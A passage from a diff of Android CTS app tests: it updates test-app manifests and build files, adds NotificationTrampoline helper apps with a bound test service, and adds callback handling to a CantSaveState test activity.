+                    "Skipping testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
+            Log.w(TAG, message);
+            return;
+        }
+        assertThrows(
+                SecurityException.class, () -> mDevicePolicyManager.getNearbyAppStreamingPolicy());
+    }
 }
diff --git a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
index 0c75ff4..79a9020 100644
--- a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
+++ b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
@@ -16,27 +16,30 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.app.cts.activitymanager.api29">
-    <uses-sdk android:minSdkVersion="11" android:targetSdkVersion="29" />
+     package="android.app.cts.activitymanager.api29">
+    <uses-sdk android:minSdkVersion="11"
+         android:targetSdkVersion="29"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
         <activity android:name=".SimpleActivity"
-                  android:excludeFromRecents="true">
+             android:excludeFromRecents="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <service android:name="LocationForegroundService"
-            android:foregroundServiceType="location|camera|microphone"
-            android:exported="true">
+             android:foregroundServiceType="location|camera|microphone"
+             android:exported="true">
         </service>
     </application>
 </manifest>
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index d66376a..b3e421b 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -35,10 +35,12 @@
         "androidx.test.rules",
         "platform-test-annotations",
         "platformprotosnano",
-        "permission-test-util-lib"
+        "permission-test-util-lib",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
     ],
     // Tag this module as a cts test artifact
@@ -49,6 +51,9 @@
     instrumentation_for: "CtsAppTestStubs",
     sdk_version: "test_current",
     min_sdk_version: "14",
+    // Disable coverage since it pushes us over the dex limit and we don't
+    // actually need to measure the tests themselves.
+    jacoco: { exclude_filter: ["**"] }
 }
 
 android_test {
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index b7f0371..3e1eb6a 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -25,6 +25,9 @@
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATIONS" />
+    <uses-permission android:name="android.permission.READ_PROJECTION_STATE" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 465b633..b43053c 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="test-file-name" value="CtsAppTestStubsApp1.apk" />
         <option name="test-file-name" value="CtsAppTestStubsApp3.apk" />
         <option name="test-file-name" value="CtsAppTestStubsApp2.apk" />
+        <option name="test-file-name" value="CtsAppTestStubsApi30.apk" />
         <option name="test-file-name" value="CtsAppTestCases.apk" />
         <option name="test-file-name" value="CtsBadProviderStubs.apk" />
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
@@ -37,6 +38,8 @@
         <option name="test-file-name" value="NotificationListener.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
         <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
+        <option name="test-file-name" value="NotificationTrampoline.apk" />
+        <option name="test-file-name" value="NotificationTrampolineApi30.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
diff --git a/tests/app/CantSaveState1/AndroidManifest.xml b/tests/app/CantSaveState1/AndroidManifest.xml
index fadcaeb..41aad1f 100644
--- a/tests/app/CantSaveState1/AndroidManifest.xml
+++ b/tests/app/CantSaveState1/AndroidManifest.xml
@@ -13,14 +13,21 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.cantsavestate1">
-    <application android:label="Can't Save 1" android:cantSaveState="true">
-        <activity android:name="CantSave1Activity">
+     package="com.android.test.cantsavestate1">
+    <application android:label="Can't Save 1"
+         android:cantSaveState="true">
+        <activity android:name="CantSave1Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="com.android.test.action.FINISH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java b/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
index fb678cb..e606a1d 100644
--- a/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
+++ b/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
@@ -17,13 +17,51 @@
 package com.android.test.cantsavestate1;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
 
 public class CantSave1Activity extends Activity {
+
+    public static final String ACTION_FINISH = "com.android.test.action.FINISH";
+    public static final String EXTRA_CALLBACK = "android.app.stubs.extra.callback";
+
+    private IBinder mCallback;
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.cant_save_1_activity);
         getWindow().getDecorView().requestFocus();
+        final Intent intent = getIntent();
+        final Bundle extras = intent.getExtras();
+        if (extras != null) {
+            mCallback = extras.getBinder(EXTRA_CALLBACK);
+        }
+    }
+
+    @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(IBinder.FIRST_CALL_TRANSACTION, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        if (ACTION_FINISH.equals(intent.getAction())) {
+            finish();
+        }
     }
 }
diff --git a/tests/app/CantSaveState2/AndroidManifest.xml b/tests/app/CantSaveState2/AndroidManifest.xml
index 8f4f01d..92b059d 100644
--- a/tests/app/CantSaveState2/AndroidManifest.xml
+++ b/tests/app/CantSaveState2/AndroidManifest.xml
@@ -13,14 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.cantsavestate2">
-    <application android:label="Can't Save 2" android:cantSaveState="true">
-        <activity android:name="CantSave2Activity">
+     package="com.android.test.cantsavestate2">
+    <application android:label="Can't Save 2"
+         android:cantSaveState="true">
+        <activity android:name="CantSave2Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
index fec3c4d..1d59250 100644
--- a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
+++ b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index 7dc651b..8b7d348 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -15,6 +15,8 @@
  */
 package android.app.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -212,6 +214,11 @@
         };
         for (String downloadLocation : downloadPath) {
             final File file = new File(Uri.parse(downloadLocation).getPath());
+            final File parentDir = file.getParentFile();
+            if (!parentDir.exists()) {
+                parentDir.mkdirs();
+                assertThat(parentDir.exists()).isTrue();
+            }
             try (InputStream in = mContext.getAssets().open(assetName);
                  OutputStream out = new FileOutputStream(file)) {
                 FileUtils.copy(in, out);
diff --git a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
index cb0b73b..c2424be 100644
--- a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
+++ b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/NOTIFICATION_OWNERS b/tests/app/NOTIFICATION_OWNERS
new file mode 100644
index 0000000..5eafb53
--- /dev/null
+++ b/tests/app/NOTIFICATION_OWNERS
@@ -0,0 +1,2 @@
+juliacr@google.com
+beverlyt@google.com
diff --git a/tests/app/NotificationDelegator/AndroidManifest.xml b/tests/app/NotificationDelegator/AndroidManifest.xml
index fbdf219..a05dcd2 100644
--- a/tests/app/NotificationDelegator/AndroidManifest.xml
+++ b/tests/app/NotificationDelegator/AndroidManifest.xml
@@ -13,28 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.notificationdelegator">
+     package="com.android.test.notificationdelegator">
     <application android:label="Notification Delegator">
-        <activity android:name="com.android.test.notificationdelegator.NotificationDelegator">
+        <activity android:name="com.android.test.notificationdelegator.NotificationDelegator"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.test.notificationdelegator.NotificationRevoker">
+        <activity android:name="com.android.test.notificationdelegator.NotificationRevoker"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost">
+        <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
diff --git a/tests/app/NotificationDelegator/OWNERS b/tests/app/NotificationDelegator/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationDelegator/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationListener/OWNERS b/tests/app/NotificationListener/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationListener/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationProvider/OWNERS b/tests/app/NotificationProvider/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationProvider/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
index 4197760..e511936 100644
--- a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
@@ -27,7 +27,7 @@
  */
 class RichNotificationActivity : Activity() {
     companion object {
-        const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+        const val NOTIFICATION_MANAGER_CHANNEL_ID = "NotificationManagerTest"
         const val EXTRA_ACTION = "action"
         const val ACTION_SEND_7 = "send-7"
         const val ACTION_SEND_8 = "send-8"
@@ -35,15 +35,15 @@
         const val ACTION_CANCEL_8 = "cancel-8"
     }
 
-    enum class NotificationPreset(val id: Int) {
-        Preset7(7),
-        Preset8(8);
+    enum class NotificationPreset(val id: Int, val channelId: String) {
+        Preset7(7, NOTIFICATION_MANAGER_CHANNEL_ID),
+        Preset8(8, NOTIFICATION_MANAGER_CHANNEL_ID);
 
         fun build(context: Context): Notification {
             val extras = Bundle()
             extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
                     "content://com.android.test.notificationprovider.provider/background$id.png")
-            return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+            return Notification.Builder(context, NOTIFICATION_MANAGER_CHANNEL_ID)
                     .setContentTitle("Rich Notification #$id")
                     .setSmallIcon(android.R.drawable.sym_def_app_icon)
                     .addExtras(extras)
@@ -59,11 +59,7 @@
             ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
             ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
             ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
-            else -> {
-                // reset both
-                cancelNotification(NotificationPreset.Preset7)
-                cancelNotification(NotificationPreset.Preset8)
-            }
+            else -> NotificationPreset.values().forEach(::cancelNotification)
         }
         finish()
     }
@@ -71,8 +67,8 @@
     private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
 
     private fun sendNotification(preset: NotificationPreset) {
-        notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+        notificationManager.createNotificationChannel(NotificationChannel(preset.channelId,
+                "${preset.channelId} Notifications", NotificationManager.IMPORTANCE_DEFAULT))
         notificationManager.notify(preset.id, preset.build(this))
     }
 
diff --git a/tests/app/NotificationTrampoline/Android.bp b/tests/app/NotificationTrampoline/Android.bp
new file mode 100644
index 0000000..0c2f481
--- /dev/null
+++ b/tests/app/NotificationTrampoline/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "NotificationTrampoline",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "NotificationTrampolineBase",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationTrampoline/AndroidManifest.xml b/tests/app/NotificationTrampoline/AndroidManifest.xml
new file mode 100644
index 0000000..97cbc42
--- /dev/null
+++ b/tests/app/NotificationTrampoline/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline.current">
+    <!-- App is in NotificationTrampolineBase -->
+</manifest>
diff --git a/tests/app/NotificationTrampolineApi30/Android.bp b/tests/app/NotificationTrampolineApi30/Android.bp
new file mode 100644
index 0000000..2ef4fbe
--- /dev/null
+++ b/tests/app/NotificationTrampolineApi30/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "NotificationTrampolineApi30",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "NotificationTrampolineBase",
+    ],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+}
diff --git a/tests/app/NotificationTrampolineApi30/AndroidManifest.xml b/tests/app/NotificationTrampolineApi30/AndroidManifest.xml
new file mode 100644
index 0000000..b24b2f1
--- /dev/null
+++ b/tests/app/NotificationTrampolineApi30/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline.api30">
+    <!-- App is in NotificationTrampolineBase -->
+</manifest>
diff --git a/tests/app/NotificationTrampolineBase/Android.bp b/tests/app/NotificationTrampolineBase/Android.bp
new file mode 100644
index 0000000..2af4fb0
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "NotificationTrampolineBase",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+}
diff --git a/tests/app/NotificationTrampolineBase/AndroidManifest.xml b/tests/app/NotificationTrampolineBase/AndroidManifest.xml
new file mode 100644
index 0000000..093495f
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline">
+    <application>
+        <service
+            android:name=".NotificationTrampolineTestService"
+            android:exported="true" />
+        <activity
+            android:name=".NotificationTrampolineTestService$TargetActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/app/NotificationTrampolineBase/OWNERS b/tests/app/NotificationTrampolineBase/OWNERS
new file mode 100644
index 0000000..6caca2f
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 315013
+brufino@google.com
+alanstokes@google.com
+rickywai@google.com
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
new file mode 100644
index 0000000..ded29be
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationtrampoline;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.ArraySet;
+
+import androidx.annotation.Nullable;
+
+import java.lang.ref.WeakReference;
+import java.util.Set;
+
+/**
+ * This is a bound service used in conjunction with trampoline tests in NotificationManagerTest.
+ */
+public class NotificationTrampolineTestService extends Service {
+    private static final String TAG = "TrampolineTestService";
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+    private static final String EXTRA_CALLBACK = "callback";
+    private static final String EXTRA_ACTIVITY_REF = "activity_ref";
+    private static final String RECEIVER_ACTION = ".TRAMPOLINE";
+    private static final int MESSAGE_BROADCAST_NOTIFICATION = 1;
+    private static final int MESSAGE_SERVICE_NOTIFICATION = 2;
+    private static final int TEST_MESSAGE_BROADCAST_RECEIVED = 1;
+    private static final int TEST_MESSAGE_SERVICE_STARTED = 2;
+    private static final int TEST_MESSAGE_ACTIVITY_STARTED = 3;
+
+    private final Handler mHandler = new ServiceHandler();
+    private final ActivityReference mActivityRef = new ActivityReference();
+    private final Set<Integer> mPostedNotifications = new ArraySet<>();
+    private NotificationManager mNotificationManager;
+    private Messenger mMessenger;
+    private BroadcastReceiver mReceiver;
+    private Messenger mCallback;
+    private String mReceiverAction;
+
+    @Override
+    public void onCreate() {
+        mNotificationManager = getSystemService(NotificationManager.class);
+        mMessenger = new Messenger(mHandler);
+        mReceiverAction = getPackageName() + RECEIVER_ACTION;
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mMessenger.getBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+        }
+        WeakReference<Activity> activityRef = mActivityRef.activity;
+        Activity activity = (activityRef != null) ? activityRef.get() : null;
+        if (activity != null) {
+            activity.finish();
+        }
+        for (int notificationId : mPostedNotifications) {
+            mNotificationManager.cancel(notificationId);
+        }
+        mHandler.removeCallbacksAndMessages(null);
+    }
+
+    /** Suppressing since all messages are short-lived and we clear the queue on exit. */
+    @SuppressLint("HandlerLeak")
+    private class ServiceHandler extends Handler {
+        @Override
+        public void handleMessage(Message message) {
+            Context context = NotificationTrampolineTestService.this;
+            mCallback = (Messenger) message.obj;
+            int notificationId = message.arg1;
+            switch (message.what) {
+                case MESSAGE_BROADCAST_NOTIFICATION: {
+                    mReceiver = new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent broadcastIntent) {
+                            sendMessageToTest(mCallback, TEST_MESSAGE_BROADCAST_RECEIVED);
+                            startTargetActivity();
+                        }
+                    };
+                    registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
+                    Intent intent = new Intent(mReceiverAction);
+                    postNotification(notificationId,
+                            PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                    break;
+                }
+                case MESSAGE_SERVICE_NOTIFICATION: {
+                    // We use this service to act as the trampoline since the bound lifecycle (which
+                    // is as long as the test is being executed) outlives the started (used by the
+                    // trampoline) in this case.
+                    Intent intent = new Intent(context, NotificationTrampolineTestService.class);
+                    postNotification(notificationId,
+                            PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                    break;
+                }
+                default:
+                    throw new AssertionError("Unknown message " + message.what);
+            }
+        }
+    }
+
+    @Override
+    public int onStartCommand(Intent serviceIntent, int flags, int startId) {
+        sendMessageToTest(mCallback, TEST_MESSAGE_SERVICE_STARTED);
+        startTargetActivity();
+        stopSelf(startId);
+        return START_REDELIVER_INTENT;
+    }
+
+    private void postNotification(int notificationId, PendingIntent intent) {
+        Notification notification =
+                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.drawable.ic_info)
+                        .setContentIntent(intent)
+                        .build();
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        mNotificationManager.notify(notificationId, notification);
+        mPostedNotifications.add(notificationId);
+    }
+
+    private void startTargetActivity() {
+        Intent intent = new Intent(this, TargetActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Bundle extras = new Bundle();
+        extras.putParcelable(EXTRA_CALLBACK, mCallback);
+        extras.putBinder(EXTRA_ACTIVITY_REF, mActivityRef);
+        intent.putExtras(extras);
+        startActivity(intent);
+    }
+
+    private static void sendMessageToTest(Messenger callback, int message) {
+        try {
+            callback.send(Message.obtain(null, message));
+        } catch (RemoteException e) {
+            throw new IllegalStateException(
+                    "Couldn't send message " + message + " to test process", e);
+        }
+    }
+
+    /**
+     * A holder object that extends from Binder just so I can send it around using startActivity()
+     * and avoid using static state. Works since the communication is local.
+     */
+    private static class ActivityReference extends Binder {
+        public WeakReference<Activity> activity;
+    }
+
+    public static class TargetActivity extends Activity {
+        @Override
+        protected void onResume() {
+            super.onResume();
+            Messenger callback = getIntent().getParcelableExtra(EXTRA_CALLBACK);
+            ActivityReference activityRef =
+                    (ActivityReference) getIntent().getExtras().getBinder(EXTRA_ACTIVITY_REF);
+            activityRef.activity = new WeakReference<>(this);
